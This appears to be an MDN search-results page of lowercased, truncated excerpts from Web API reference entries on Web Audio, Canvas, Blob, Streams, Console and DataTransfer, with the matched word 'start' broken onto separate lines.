start(0); play.setattribute('disabled', 'disabled'); playbackcontrol.removeattribute('disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute('disabled'); playbackcontrol.setattribute('disabled', 'disabled'); } playbackcontrol.oninput = function() { source.playbackrate.value = playbackcontrol.value; playbackvalue.innerhtml = playbackcontrol.value; } specification...
AudioContext.close() - Web APIs
.close().then(function() { ... }); await audioctx.close(); returns a promise that resolves with void. example the following snippet is taken from our audiocontext states demo (see it running live.) when the stop button is clicked, close() is called. when the promise resolves, the example is reset to its beginning state. stopbtn.onclick = function() { audioctx.close().then(function() {
startbtn.removeattribute('disabled'); susresbtn.setattribute('disabled', 'disabled'); stopbtn.setattribute('disabled', 'disabled'); }); } specifications specification status comment web audio apithe definition of 'close()' in that specification. working draft ...
AudioNode.connect() - Web APIs
fo var gain = audioctx.creategain(); // connect the lfo to the gain audioparam. this means the value of the lfo // will not produce any audio, but will change the value of the gain instead lfo.connect(gain.gain); // connect the oscillator that will produce audio to the gain oscillator.connect(gain); // connect the gain to the destination so we hear sound gain.connect(audioctx.destination); //
start the oscillator that will produce audio oscillator.
start(); //
start the oscillator that will modify the gain value lfo.
start(); audioparam notes it is possible to connect an audionode output to more than one audioparam, and more than one audionode output to a single audioparam, with multiple calls to connect(). fan-in and fan-out are therefore supported. an audioparam will take the rendered a...
AudioParam.linearRampToValueAtTime() - Web APIs
the linearramptovalueattime() method of the audioparam interface schedules a gradual linear change in the value of the audioparam. the change
starts at the time specified for the previous event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter. syntax var audioparam = audioparam.linearramptovalueattime(value, endtime) parameters value a floating point number representing the value the audioparam will ramp to by the given time. endtime a double representing the exact time (in seconds) after the ramping
starts that the changing of the value will stop. returns a reference to this audioparam object. in some browsers older implementations of this interface return void. example in this example...
AudioParam.setValueAtTime() - Web APIs
the setvalueattime() method of the audioparam interface schedules an instant change to the audioparam value at a precise time, as measured against audiocontext.currenttime. the new value is given in the value parameter. syntax var audioparam = audioparam.setvalueattime(value,
starttime) parameters value a floating point number representing the value the audioparam will change to at the given time.
starttime a double representing the time (in seconds) after the audiocontext was first created that the change in value will happen. a typeerror is thrown if this value is negative. returns a reference to this audioparam object. in some browsers older implementations of this interface return void. examples this simple example features a media element source with two control buttons (see...
AudioProcessingEvent - Web APIs
ffer.length; sample++) { // make output equal to the same as the input outputdata[sample] = inputdata[sample]; // add noise to each output sample outputdata[sample] += ((math.random() * 2) - 1) * 0.2; } } } getdata(); // wire up play button playbutton.onclick = function() { source.connect(scriptnode); scriptnode.connect(audioctx.destination); source.
start(); } // when the buffer source stops playing, disconnect everything source.onended = function() { source.disconnect(scriptnode); scriptnode.disconnect(audioctx.destination); } ...
AudioScheduledSourceNode.onended - Web APIs
set to true. syntax audioscheduledsourcenode.onended = eventhandler; value a function which is called by the browser when the ended event occurs on the audioscheduledsourcenode. the function receives as input a single parameter, which is an object of type event describing the event that occurred. examples in this simple example, an event listener for the ended event is set up to enable a "
start" button in the user interface when the node stops playing. node.onended = function(event) { document.getelementbyid("
startbutton").disabled = false; } specifications specification status comment web audio apithe definition of 'onended' in that specification. working draft initial specification. ...
AudioWorkletProcessor.process - Web APIs
a source of output. an audioworkletprocessor implementing such a node should return true from the process method as long as it produces an output. the method should return false as soon as it's known that it will no longer produce an output. for example, take the audiobuffersourcenode — the processor behind such a node should return true from the process method while the buffer is playing, and
start returning false when the buffer playing has ended (there's no way to call play on the same audiobuffersourcenode again). a node that transforms its input. a processor implementing such a node should return false from the process method to allow the presence of active input nodes and references to the node to determine whether it can be garbage-collected. an example of a node with this behaviour ...
BaseAudioContext.createBuffer() - Web APIs
nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode. // this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); //
start the source playing source.
start(); specifications specification status comment web audio apithe definition of 'createbuffer()' in that specification. working draft ...
BaseAudioContext.createBufferSource() - Web APIs
math.random() * 2 - 1; } } // get an audiobuffersourcenode. // this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); //
start the source playing source.
start(); } specifications specification status comment web audio apithe definition of 'createbuffersource()' in that specification. working draft ...
BaseAudioContext.createOscillator() - Web APIs
also see our oscillatornode page for more information. // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(3000, audioctx.currenttime); // value in hertz oscillator.connect(audioctx.destination); oscillator.
start(); specifications specification status comment web audio apithe definition of 'createoscillator' in that specification. working draft ...
BaseAudioContext.createPeriodicWave() - Web APIs
eperiodicwave(), to create a periodicwave object containing a simple sine wave. var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag, {disablenormalization: true}); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.
start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by definition a sine wave here, we create a periodicwave with two values. the first value is the dc offset, which is the value at which the oscillator
starts. 0 is good here, because we want to
start the curve at the middle of the [-1.0; 1.0] range. the second and subsequent values are sine and cosine component...
BaseAudioContext.currentTime - Web APIs
syntax var curtime = baseaudiocontext.currenttime; example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix ... ...
BaseAudioContext - Web APIs
udiocontext.audioworklet read only secure context returns the audioworklet object, which can be used to create and manage audionodes in which javascript code implementing the audioworkletprocessor interface are run in the background to process audio data. baseaudiocontext.currenttime read only returns a double representing an ever-increasing hardware time in seconds used for scheduling. it
starts at 0. baseaudiocontext.destination read only returns an audiodestinationnode representing the final destination of all audio in the context. it can be thought of as the audio-rendering device. baseaudiocontext.listener read only returns the audiolistener object, used for 3d spatialization. baseaudiocontext.samplerate read only returns a float representing the sample rate (in samples per...
Blob.slice() - Web APIs
the blob interface's slice() method creates and returns a new blob object which contains data from a subset of the blob on which it's called. syntax var newblob = blob.slice(
start, end, contenttype); parameters
start optional an index into the blob indicating the first byte to include in the new blob. if you specify a negative value, it's treated as an offset from the end of the blob toward the beginning. for example, -10 would be the 10th from last byte in the blob. the default value is 0. if you specify a value for
start that is larger than the size of the source blob, the returned blob has size 0 and contains no data. end optional an index into the blob indicating the first byte that will *not* be included in the new blob (i.e. the byte exactly at this index is not included). if yo...
BlobBuilder - Web APIs
b getblob( in domstring contenttype optional ); parameters contenttype optional the mime type of the data to be returned in the blob. this will be the value of the blob object's type property. return value a blob object containing all of the data passed to any calls to append() made since the blobbuilder was created. this also resets the blobbuilder so that the next call to append() is
starting a new, empty blob. getfile() returns a file object. file getfile( in domstring name, [optional] in domstring contenttype ); parameters name the file name. contenttype optional the mime type of the data to be returned in the file. this will be the value of the file object's type property. return value a file object. ...
Bluetooth.requestDevice() - Web APIs
tion is not permitted in this context due to security concerns. for example, it is called from insecure origin. example // discovery options match any devices advertising: // . the standard heart rate service. // . both 16-bit service ids 0x1802 and 0x1803. // . a proprietary 128-bit uuid service c48e6067-5295-48d3-8d5c-0395f61792b1. // . devices with name "examplename". // . devices with name
starting with "prefix". // // and enables access to the battery service if devices // include it, even if devices do not advertise that service. let options = { filters: [ {services: ['heart_rate']}, {services: [0x1802, 0x1803]}, {services: ['c48e6067-5295-48d3-8d5c-0395f61792b1']}, {name: 'examplename'}, {nameprefix: 'prefix'} ], optionalservices: ['battery_service'] } navig...
BluetoothCharacteristicProperties - Web APIs
draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/brow...
Body.body - Web APIs
reader(), then enqueue that stream's chunks into a second, custom readable stream — effectively creating an identical copy of the image. ...
ByteLengthQueuingStrategy.ByteLengthQueuingStrategy() - Web APIs
taining a highwatermark property. this is a non-negative integer defining the total number of chunks that can be contained in the internal queue before backpressure is applied. return value an instance of the bytelengthqueuingstrategy object. exceptions none. examples const queuingstrategy = new bytelengthqueuingstrategy({ highwatermark: 1 }); const readablestream = new readablestream({
start(controller) { ... }, pull(controller) { ... }, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queuingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy()' in that specification. living standard initial definition. ...
ByteLengthQueuingStrategy.size() - Web APIs
interface returns the given chunk’s bytelength property. syntax var size = bytelengthqueuingstrategy.size(chunk); parameters chunk a chunk of data being passed through the stream. return value an integer representing the byte length of the given chunk. examples const queuingstrategy = new bytelengthqueuingstrategy({ highwatermark: 1 }); const readablestream = new readablestream({
start(controller) { ... }, pull(controller) { ... }, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'size' in that specification. living standard initial definition. ...
ByteLengthQueuingStrategy - Web APIs
y that can be used when constructing streams. constructor bytelengthqueuingstrategy() creates a new bytelengthqueuingstrategy object instance. properties none. methods bytelengthqueuingstrategy.size() returns the given chunk’s bytelength property. examples const queueingstrategy = new bytelengthqueuingstrategy({ highwatermark: 1 }); const readablestream = new readablestream({
start(controller) { ... }, pull(controller) { ... }, cancel(err) { console.log("stream error:", err); } }, queueingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy' in that specification. living standard initial definition. browser compatibilit...
CSS.registerProperty() - Web APIs
inherits a boolean value defining whether the defined property should be inherited (true), or not (false). defaults to false. initialvalue optional a domstring representing the initial value of the defined property. return value undefined. exceptions invalidmodificationerror the given name has already been registered. syntaxerror the given name isn't a valid custom property name (
starts with two dashes, e.g. --foo). typeerror the required name and/or inherits dictionary members were not provided. examples the following will register a custom property, --my-color, using registerproperty(), as a color, give it a default value, and have it not inherit its value: window.css.registerproperty({ name: '--my-color', syntax: '<color>', inherits: false, initialvalue: '#c0ff...
CSSValueList - Web APIs
the cssvaluelist interface derives from the cssvalue interface and provides the abstraction of an ordered collection of css values. some properties allow an empty list in their syntax. in that case, these properties take the none identifier. so, an empty list means that the property has the value none. the items in the cssvaluelist are accessible via an integral index,
starting from 0. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssvalue" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" ...
Managing screen orientation - Web APIs
: border-box; box-sizing: border-box; } p { font : 1em sans-serif; margin : 0; padding: .5em; } ul { list-style: none; font : 1em monospace; margin : 0; padding: .5em; -moz-box-sizing: border-box; box-sizing: border-box; background: black; } li { display: inline-block; margin : 0; padding: 0.5em; background: white; } once we have some common styles we can
start defining a special case for the orientation /* for portrait, we want the tool bar on top */ @media screen and (orientation: portrait) { #toolbar { width: 100%; } } /* for landscape, we want the tool bar stick on the left */ @media screen and (orientation: landscape) { #toolbar { position: fixed; width: 2.65em; height: 100%; } p { margin-left: 2em; } li + li...
CSS Painting API - Web APIs
.fillstyle = thecolor; ctx.strokestyle = thecolor; } else { ctx.fillstyle = 'none'; ctx.strokestyle = 'none'; } ctx.beginpath(); ctx.moveto( x, y ); ctx.lineto( blockwidth, y ); ctx.lineto( blockwidth + blockheight, blockheight ); ctx.lineto( x, blockheight ); ctx.lineto( x, y ); ctx.closepath(); ctx.fill(); ctx.stroke(); for (let i = 0; i < 4; i++) { let
start = i * 2; ctx.beginpath(); ctx.moveto( blockwidth + (
start * 10) + 10, y); ctx.lineto( blockwidth + (
start * 10) + 20, y); ctx.lineto( blockwidth + (
start * 10) + 20 + blockheight, blockheight); ctx.lineto( blockwidth + (
start * 10) + 10 + blockheight, blockheight); ctx.lineto( blockwidth + (
start * 10) + 10, y); ctx.closepath(); ctx.fill(); ctx.stroke(); } } }); w...
CanvasPattern.setTransform() - Web APIs
document.getelementbyid('svg1'); var matrix = svg1.createsvgmatrix(); var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); }; note that newer browser versions
started to support dommatrix as an input to settransform(), so for example you could replace the svgmatrix in the above example with the following: const matrix = new dommatrix([1, .2, .8, 1, 0, 0]); edit the code below and see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <svg id="svg1" style="display:none"></s...
CanvasRenderingContext2D.beginPath() - Web APIs
call this method when you want to create a new path. note: to create a new sub-path, i.e., one matching the current canvas state, you can use canvasrenderingcontext2d.moveto(). syntax void ctx.beginpath(); examples creating distinct paths this example creates two paths, each of which contains a single line. html <canvas id="canvas"></canvas> javascript the beginpath() method is called before beginning each line, so that they may be drawn with different colors. ...
CanvasRenderingContext2D.closePath() - Web APIs
if the shape has already been closed or has only one point, this function does nothing. this method doesn't draw anything to the canvas directly. you can render the path using the stroke() or fill() methods. syntax void ctx.closepath(); examples closing a triangle this example creates the first two (diagonal) sides of a triangle using the lineto() method. after that, the triangle's base is created with the closepath() method, which automatically connects the shape's first and last points. ...
CanvasRenderingContext2D.createRadialGradient() - Web APIs
ssigned to the fillstyle or strokestyle properties. note: gradient coordinates are global, i.e., relative to the current coordinate space. when applied to a shape, the coordinates are not relative to the shape's coordinates. syntax canvasgradient ctx.createradialgradient(x0, y0, r0, x1, y1, r1); the createradialgradient() method is specified by six parameters, three defining the gradient's
start circle, and three defining the end circle. parameters x0 the x-axis coordinate of the
start circle. y0 the y-axis coordinate of the
start circle. r0 the radius of the
start circle. must be non-negative and finite. x1 the x-axis coordinate of the end circle. y1 the y-axis coordinate of the end circle. r1 the radius of the end circle. must be non-negative and finite. return value ...
CanvasRenderingContext2D.fillRect() - Web APIs
the canvasrenderingcontext2d.fillrect() method of the canvas 2d api draws a rectangle that is filled according to the current fillstyle. this method draws directly to the canvas without modifying the current path, so any subsequent fill() or stroke() calls will have no effect on it. syntax void ctx.fillrect(x, y, width, height); the fillrect() method draws a filled rectangle whose
starting point is at (x, y) and whose size is specified by width and height. the fill style is determined by the current fillstyle attribute. parameters x the x-axis coordinate of the rectangle's
starting point. y the y-axis coordinate of the rectangle's
starting point. width the rectangle's width. positive values are to the right, and negative to the left. height the rectangle's height. positive valu...
CanvasRenderingContext2D.fillText() - Web APIs
s. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.filltext('hello world', 50, 90); this code obtains a reference to the <canvas>, then gets a reference to its 2d graphics context. with that in hand, we set the font to 50-pixel-tall "serif" (the user's default serif font), then call filltext() to draw the text "hello world,"
starting at the coordinates (50, 90). result restricting the text size this example writes the words "hello world," restricting its width to 140 pixels. html <canvas id="canvas" width="400" height="150"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.filltext('hello world', 50, 90, 140); result spec...
CanvasRenderingContext2D.lineCap - Web APIs
.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(20, 20); ctx.linewidth = 15; ctx.linecap = 'round'; ctx.lineto(100, 100); ctx.stroke(); result comparison of line caps in this example three lines are drawn, each with a different value for the linecap property. two guides to see the exact differences between the three are added. each of these lines
starts and ends exactly on these guides. the line on the left uses the default "butt" option. it's drawn completely flush with the guides. the second is set to use the "round" option. this adds a semicircle to the end that has a radius half the width of the line. the line on the right uses the "square" option. this adds a box with an equal width and half the height of the line thickness. <canvas id=...
CanvasRenderingContext2D.lineTo() - Web APIs
oint. y the y-axis coordinate of the line's end point. return value undefined. examples drawing a straight line this example draws a straight line using the lineto() method. html <canvas id="canvas"></canvas> javascript the line begins at (30, 50) and ends at (150, 100). const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); //
start a new path ctx.moveto(30, 50); // move the pen to (30, 50) ctx.lineto(150, 100); // draw a line to (150, 100) ctx.stroke(); // render the path result drawing connected lines each call of lineto() (and similar methods) automatically adds to the current sub-path, which means that all the lines will all be stroked or filled together. this example draws a letter 'm' with a single co...
CanvasRenderingContext2D.rect() - Web APIs
the current path. like other methods that modify the current path, this method does not directly render anything. to draw the rectangle onto a canvas, you can use the fill() or stroke() methods. note: to both create and render a rectangle in one step, use the fillrect() or strokerect() methods. syntax void ctx.rect(x, y, width, height); the rect() method creates a rectangular path whose
starting point is at (x, y) and whose size is specified by width and height. parameters x the x-axis coordinate of the rectangle's
starting point. y the y-axis coordinate of the rectangle's
starting point. width the rectangle's width. positive values are to the right, and negative to the left. height the rectangle's height. positive values are down, and negative are up. examples drawing a...
CanvasRenderingContext2D.rotate() - Web APIs
non-rotated rectangle is gray, and the rotated rectangle is red. rotating a shape around its center this example rotates a shape around its center point. to do this, the following steps are applied to the matrix: first, translate() moves the matrix's origin to the shape's center. rotate() rotates the matrix by the desired amount. finally, translate() moves the matrix's origin back to its
starting point. this is done by applying the values of the shape's center coordinates in a negative direction. html <canvas id="canvas"></canvas> javascript the shape is a rectangle with its corner at (80, 60), a width of 140, a height of 30. its horizontal center is at (80 + 140 / 2), or 150. its vertical center is at (60 + 30 / 2), or 75. thus, the center point is at (150, 75). const canvas = ...
CanvasRenderingContext2D.strokeRect() - Web APIs
ct() method of the canvas 2d api draws a rectangle that is stroked (outlined) according to the current strokestyle and other context settings. this method draws directly to the canvas without modifying the current path, so any subsequent fill() or stroke() calls will have no effect on it. syntax void ctx.strokerect(x, y, width, height); the strokerect() method draws a stroked rectangle whose
starting point is at (x, y) and whose size is specified by width and height. parameters x the x-axis coordinate of the rectangle's
starting point. y the y-axis coordinate of the rectangle's
starting point. width the rectangle's width. positive values are to the right, and negative to the left. height the rectangle's height. positive values are down, and negative are up. examples a simple ...
CanvasRenderingContext2D.strokeText() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.stroketext('hello world', 50, 90); this code obtains a reference to the <canvas>, then gets a reference to its 2d graphics context. with that in hand, we set the font to 50-pixel-tall "serif" (the user's default serif font), then call stroketext() to draw the text "hello world,"
starting at the coordinates (50, 90). result restricting the text size this example writes the words "hello world," restricting its width to 140 pixels. html <canvas id="canvas" width="400" height="150"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.stroketext('hello world', 50, 90, 140); result sp...
A basic ray-caster - Web APIs
mation yet, so i thought i'd try a port of a basic raycaster i'd worked on a while ago, and see what sort of performance we can expect from a javascript-controlled pixel buffer. how? the basic idea is to use setinterval() at some arbitrary delay that corresponds to a desired frame rate. after every interval an update function will repaint the canvas showing the current view. i know i could have
started with a simpler example, but i'm sure the canvas tutorial will get to that, and i wanted to see if i could do this. so every update, the raycaster looks to see if you've pressed any keys lately, to conserve calculations by not casting if you're idle. if you have, then the canvas is cleared, the ground and sky are drawn, the camera position and/or orientation are updated, and the rays are cast o...
Advanced animations - Web APIs
t of the canvas dimensions and invert the direction of the velocity vectors. to do so, we add the following checks to the draw method: if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) { ball.vy = -ball.vy; } if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) { ball.vx = -ball.vx; } first demo let's see how it looks in action so far. move your mouse into the canvas to
start the animation. <canvas id="canvas" style="border: 1px solid" width="600" height="300"></canvas> var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var raf; var ball = { x: 100, y: 100, vx: 5, vy: 2, radius: 25, color: 'blue', draw: function() { ctx.beginpath(); ctx.arc(this.x, this.y, this.radius, 0, math.pi * 2, true); ctx.closepath()...
Drawing text - Web APIs
of the font property to make the text a bit larger than the default size. there are some more properties which let you adjust the way the text gets displayed on the canvas: font = value the current text style being used when drawing text. this string uses the same syntax as the css font property. the default font is 10px sans-serif. textalign = value text alignment setting. possible values:
start, end, left, right or center. the default value is
start. textbaseline = value baseline alignment setting. possible values: top, hanging, middle, alphabetic, ideographic, bottom. the default value is alphabetic. direction = value directionality. possible values: ltr, rtl, inherit. the default value is inherit. these properties might be familiar to you, if you have worked with css before. th...
Hit regions and accessibility - Web APIs
ple by steve faulkner. aria rules accessible rich internet applications (aria) defines ways to make web content and web applications more accessible to people with disabilities. you can use aria attributes to describe the behavior and purpose of the canvas element. see aria and aria techniques for more information. <canvas id="button" tabindex="0" role="button" aria-pressed="false" aria-label="
start game"></canvas> hit regions whether the mouse coordinates are within a particular area on the canvas, is a common problem to solve. the hit region api allows you to define an area of your canvas and provides another possibility to expose interactive content on a canvas to accessibility tools. it allows you to make hit detection easier and lets you route events to dom elements. the api has the ...
Transformations - Web APIs
and the coordinate space. until now, we only used the default grid and changed the size of the overall canvas for our needs. with transformations there are more powerful ways to translate the origin to a different position, rotate the grid and even scale it. saving and restoring state before we look at the transformation methods, let's look at two other methods which are indispensable once you
start generating ever more complex drawings. save() saves the entire state of the canvas. restore() restores the most recently saved canvas state. canvas states are stored on a stack. every time the save() method is called, the current drawing state is pushed onto the stack. a drawing state consists of the transformations that have been applied (i.e. translate, rotate and scale – see below...
Using images - Web APIs
f this would be to use a second canvas element as a thumbnail view of the other larger canvas. creating an image from scratch another option is to create new htmlimageelement objects in our script. to do this, you can use the convenient image() constructor: var img = new image(); // create new img element img.src = 'myimage.png'; // set source path when this script gets executed, the image
starts loading. if you try to call drawimage() before the image has finished loading, it won't do anything (or, in older browsers, may even throw an exception). so you need to be sure to use the load event so you don't try this before the image has loaded: var img = new image(); // create new img element img.addeventlistener('load', function() { // execute drawimage statements here }, false); img...
CloseEvent - Web APIs
that is too large. 1010 missing extension the client is terminating the connection because it expected the server to negotiate one or more extension, but the server didn't. 1011 internal error the server is terminating the connection because it encountered an unexpected condition that prevented it from fulfilling the request. 1012 service re
start the server is terminating the connection because it is re
starting. [ref] 1013 try again later the server is terminating the connection due to a temporary condition, e.g. it is overloaded and is casting off some of its clients. [ref] 1014 bad gateway the server was acting as a gateway or proxy and received an invalid response from the upstream server. th...
CompositionEvent.data - Web APIs
the data read-only property of the compositionevent interface returns the characters generated by the input method that raised the event; its exact nature varies depending on the type of event that generated the compositionevent object. syntax mydata = compositionevent.data value a domstring representing the event data: for composition
start events, this is the currently selected text that will be replaced by the string being composed. this value doesn't change even if content changes the selection range; rather, it indicates the string that was selected when composition
started. for compositionupdate, this is the string as it stands currently as editing is ongoing. for compositionend events, this is the string as committed to the editor. specifications specification st...
CompositionEvent.initCompositionEvent() - Web APIs
the initcompositionevent() method of the compositionevent interface initializes the attributes of a compositionevent object instance. syntax compositioneventinstance.initcompositionevent(typearg, canbubblearg, cancelablearg, viewarg, dataarg, localearg) parameters typearg a domstring representing the type of composition event; this will be one of composition
start, compositionupdate, or compositionend. canbubblearg a boolean specifying whether or not the event can bubble. cancelablearg a boolean shether or not the event can be canceled. viewarg the window object from which the event was generated. dataarg a domstring representing the value of the data attribute. localearg a domstring representing the value of the locale attribute. return value void. specifications ...
Console.group() - Web APIs
use nested groups to help organize your output by visually associating related messages. to create a new nested block, call console.group(). the console.groupcollapsed() method is similar, but the new block is collapsed and requires clicking a disclosure button to read it. note: from gecko 9 until gecko 51, the groupcollapsed() method was the same as group(). collapsed groups are fully supported
starting in gecko 52. see bug 1088360. to exit the current group, call console.groupend(). for example, given this code: console.log("this is the outer level"); console.group(); console.log("level 2"); console.group(); console.log("level 3"); console.warn("more of level 3"); console.groupend(); console.log("back to level 2"); console.groupend(); console.log("back to the outer level"); the output lo...
Console.profile() - Web APIs
you can optionally supply an argument to name the profile and this then enables you to stop only that profile if multiple profiles being recorded. see console.profileend() to see how this argument is interpreted. to stop recording call console.profileend(). note: this feature is available in web workers. syntax console.profile(profilename); parameters profilename the name to give the profile. optional. ...
Console.profileEnd() - Web APIs
calling this api immediately after console.profile() can cause it to not work. to work around this, call it in a settimeout with at least 5ms delay. see bug 1240249. the profileend method stops recording a profile previously
started with console.profile(). you can optionally supply an argument to name the profile. doing so enables you to stop only that profile if you have multiple profiles being recorded. if console.profileend() is passed a profile name, and it matches the name of a profile being recorded, then that profile is stopped. if console.profileend() is passed a profile name and it does not match the name of a profile being recorded, no changes will be made. if console.profileend() is not passed a profile name, the most recently
started profile is stopped. note: this feat...
Console.time() - Web APIs
see timers in the console documentation for details and examples. note: this feature is available in web workers. syntax console.time(label); parameters label the name to give the new timer. this will identify the timer; use the same name when calling console.timeend() to stop the timer and get the time output to the console. specifications specification status comment console apithe definition of 'console.time()' in that specification. ...
Console.timeEnd() - Web APIs
see timers in the documentation for details and examples. note: this feature is available in web workers. syntax console.timeend(label); parameters label the name of the timer to stop. once stopped, the elapsed time is automatically displayed in the web console along with an indicator that the time has ended. ...
Console.timeLog() - Web APIs
see timers in the documentation for details and examples. note: this feature is available in web workers. syntax console.timelog(label); parameters label the name of the timer to log to the console. return if no label parameter included: default: 1042ms if an existing label is included: timer name: 1242ms exceptions if there is no running timer, timelog() returns the warning: timer “default” doesn’t exist. if a label parameter is included, but there is no corresponding timer: timer “timer name” doesn’t exist. ...
Console API - Web APIs
the console api provides functionality to allow developers to perform debugging tasks, such as logging messages or the values of variables at set points in your code, or timing how long an operation takes to complete. concepts and usage the console api
started as a largely proprietary api, with different browsers implementing it, albeit it in inconsistent ways. the console api spec was created to define consistent behavior, and all modern browsers eventually settled on implementing this behavior — although some implementations still have their own additional proprietary functions. find out about these at: google chrome devtools implementation safari devtools implementation usage is very simple — the console object — available via window.console, or workerglobalscope.console in wo...
CustomEvent - Web APIs
by internet explorer and eventually adopted into the dom specification in order to ensure existing sites continue to work. ideally, you should try to use event.preventdefault() and event.defaultprevented instead, but you can use returnvalue if you choose to do so. event.srcelement a non-standard alias (from old versions of microsoft internet explorer) for event.target. some other browsers are
starting to support it for web compatibility purposes. event.target read only a reference to the target to which the event was originally dispatched. event.timestamp read only the time at which the event was created (in milliseconds). by specification, this value is time since epoch—but in reality, browsers' definitions vary. in addition, work is underway to change this to be a domhighrestimest...
DOMUserData - Web APIs
(), used as the third argument to handle() on userdatahandler, and is used or returned by various domconfiguration methods. note that although it can be an object, in mozilla, it may be returned as a string or other type, if it was set as such a type (e.g., node.setuserdata() and node.getuserdata()). domuserdata is not persisted nor serialized and will not be present after the application has re
started or after a crash. if you are interested in persisting data you might rather need to use nsisessionstore. specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'domuserdata' in that specification. obsolete initial specification ...
DataTransfer.getData() - Web APIs
the html5 drag and drop specification dictates a drag data store mode. this may result in unexpected behavior, being datatransfer.getdata() not returning an expected value. example this example shows the use of the datatransfer object's getdata() and setdata() methods. ...
DataTransfer.mozSetDataAt() - Web APIs
ax void datatransfer.mozsetdataat([type], data, index); arguments type a string representing the type of the drag data to add to the drag data object. data a nsivariant representing the data to add to the drag data object. index a unsigned long representing the index of the data to add. return value void example this example shows the use of the mozsetdataat() method in a drag
start handler. function drag
start_handler(event) { var dt = event.datatransfer; var idx = dt.mozitemcount; // add two new items to the drag transfer if (idx >= 0) { dt.mozsetdataat("text/uri-list","http://www.example.com/", idx); dt.mozsetdataat("text/html", "hello world", idx+1); } } specifications this method is not defined in any web standard. ...
DataTransfer - Web APIs
r uninitialized. datatransfer.files contains a list of all the local files available on the data transfer. if the drag operation doesn't involve dragging files, this property is an empty list. datatransfer.items read only gives a datatransferitemlist object which is a list of all of the drag data. datatransfer.types read only an array of strings giving the formats that were set in the drag
start event. gecko properties note: all of the properties in this section are gecko-specific. datatransfer.mozcursor gives the drag cursor's state. this is primarily used to control the cursor during tab drags. datatransfer.mozsourcenode read only the node over which the mouse cursor was located when the button was pressed to initiate the drag operation. this value is null for external dra...
DataTransferItem.webkitGetAsEntry() - Web APIs
html = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped from event.datatransfer.items. then we call event.preventdefault() to prevent the event from being handled further after we're done. now it's time to
start building the list. first, the list is emptied by setting listing.innerhtml to be empty. that leaves us with an empty ul to begin inserting directory entries into. then we iterate over the items in the list of dropped items. for each one, we call its webkitgetasentry() method to obtain a filesystementry representing the file. if that's successful, we call scanfiles() to process the item—either ...
DedicatedWorkerGlobalScope - Web APIs
workerglobalscope interface, and its parent eventtarget, and therefore implements event handlers from windowtimers, windowbase64, and windoweventhandlers. dedicatedworkerglobalscope.onmessage is an eventhandler representing the code to be called when the message event is raised. these events are of type messageevent and will be called when the worker receives a message from the document that
started it (i.e. from the worker.postmessage method.) dedicatedworkerglobalscope.onmessageerror is an eventhandler representing the code to be called when the messageerror event is raised. methods this interface inherits methods from the workerglobalscope interface, and its parent eventtarget, and therefore implements methods from windowtimers, windowbase64, and windoweventhandlers. dedicatedwo...
DeprecationReportBody - Web APIs
s used, if known, or null otherwise. examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to
start observing reports using reportingobserver.observe(); this tells the observer to
start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details. the report details are displayed via the ...
